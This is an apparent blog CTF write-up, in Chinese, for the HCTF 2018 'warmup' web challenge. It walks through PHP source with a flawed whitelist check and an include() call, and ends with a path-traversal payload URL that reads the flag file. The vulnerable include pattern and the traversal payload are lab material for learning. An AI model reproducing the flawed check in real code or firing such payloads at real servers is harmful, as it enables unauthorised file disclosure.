攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup

攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup

题目介绍

image-20210111222948949

题目考点

PHP代码审计

Writeup

  1. 打开 http://220.249.52.134:37877

    image-20210109141927038

  2. 常规操作 F12 看源码

    image-20210109142058928

  3. url 输入 http://220.249.52.134:37877/source.php 得到

<?php
    highlight_file(__FILE__); 
    class emmm
        {
            public static function checkFile(&$page)

            {
                //白名单列表
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                //isset()判断变量是否声明is_string()判断变量是否是字符串 
                if (! isset($page) || !is_string($page)) {
                    echo "you can't see it A";
                    return false;
                }
                //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
                if (in_array($page, $whitelist)) {
                    return true;
                }
                //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
                $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?', '?')//返回$page.?里?号出现的第一个位置
                );

                 //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                //url对$page解码
                $_page = urldecode($page);

                //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }
    if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        }  
?>
  1. 分析PHP源码看到

    image-20210109142454697

  2. 尝试访问 url http://220.249.52.134:37877/hint.php 得到flag提示 flag 在 ffffllllaaaagggg 中

    image-20210109142644187

  3. 回到之前的PHP源码,继续分析

    整体来看,这段PHP代码,是一个 emmm 类和一个 if else 分支,emmm类里有一个 checkFile 函数

    先看 下面的 if else

    if (! empty($_REQUEST['file'])		
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    )
    

    当前 请求的 file 非空是字符串 且 emmm::checkFile返回为真 时,条件成立

    我们可以先直接留心最后的if/else逻辑,为了不看到最后那张无语的图片,我们需要让第一个if语句成立,并且最关键在第三个函数上。同时我们需要注意include文件读取函数是直接读取file,从hint.php中我们知道flag在ffffllllaaaagggg中,所以这个字符串要想办法加入到 file 中进行读取。
    关键代码:

     $_page = mb_substr(
         $page,
         0,
         mb_strpos($page . '?', '?')
    

    函数简介:

    mb_strpos():返回要查找的字符串在被检查的字符串中首次出现的位置

    该函数有两个参数,该函数的返回值是第二个参数在第一个参数中首次出现的位置(index)。

    mb_substr() :函数返回字符串的一部分

    该函数有三个对应参数,第一个参数是操作字符串,第二个参数是操作起始位置,第三个参数是操作字符长度。、

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
       ) {
        include $_REQUEST['file'];			//重要
        exit;
    

    那么整体思路就是 满足if 条件 绕过checkFile 函数, 最终要 通过 include 读取 flag

    尝试构造解题 payload

    http://220.249.52.134:30663/?file=hint.php?ffffllllaaaagggg 失败,无回显

    我们其实已经可以从flag的文件名猜出一些真相了。我们需要将目录回退四次,就像这美妙的名字一样。

  4. 构造最终解题的 payload

    http://220.249.52.134:30663/?file=hint.php?/../../../../ffffllllaaaagggg

    image-20210109183013933

总结

这道题用到的知识点有:

  • 基础php代码审计,考察三个函数: in_array、mb_substr、mbstrpos
  • 考察include的一个小特性
posted @ 2021-01-09 18:42  FreeK0x00  阅读(229)  评论(0编辑  收藏  举报